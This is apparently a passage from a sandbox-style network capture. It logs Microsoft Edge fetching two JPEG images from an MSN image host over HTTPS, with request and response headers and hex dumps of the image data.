SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	63614	23.47.50.136	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:41 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 11 Sep 2024 22:24:40 GMT X-Datacenter: eastus X-ActivityId: ecd87907-a4d8-4e3e-996d-eb44e0e6146d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=276149 Expires: Thu, 31 Oct 2024 22:26:09 GMT Date: Mon, 28 Oct 2024 17:43:40 GMT Connection: close
2024-10-28 17:43:41 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: e6 a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-10-28 17:43:41 UTC	2690	IN	Data Raw: 83 cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-10-28 17:43:41 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-10-28 17:43:41 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	63615	23.47.50.136	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:41 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Fri, 20 Sep 2024 15:33:12 GMT X-Source-Length: 293132 X-Datacenter: westus X-ActivityId: ca96667e-cdbf-417d-99f6-8ce0e9a193de Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=251442 Expires: Thu, 31 Oct 2024 15:34:22 GMT Date: Mon, 28 Oct 2024 17:43:40 GMT Connection: close
2024-10-28 17:43:41 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-10-28 17:43:41 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-10-28 17:43:41 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-10-28 17:43:41 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-10-28 17:43:41 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data 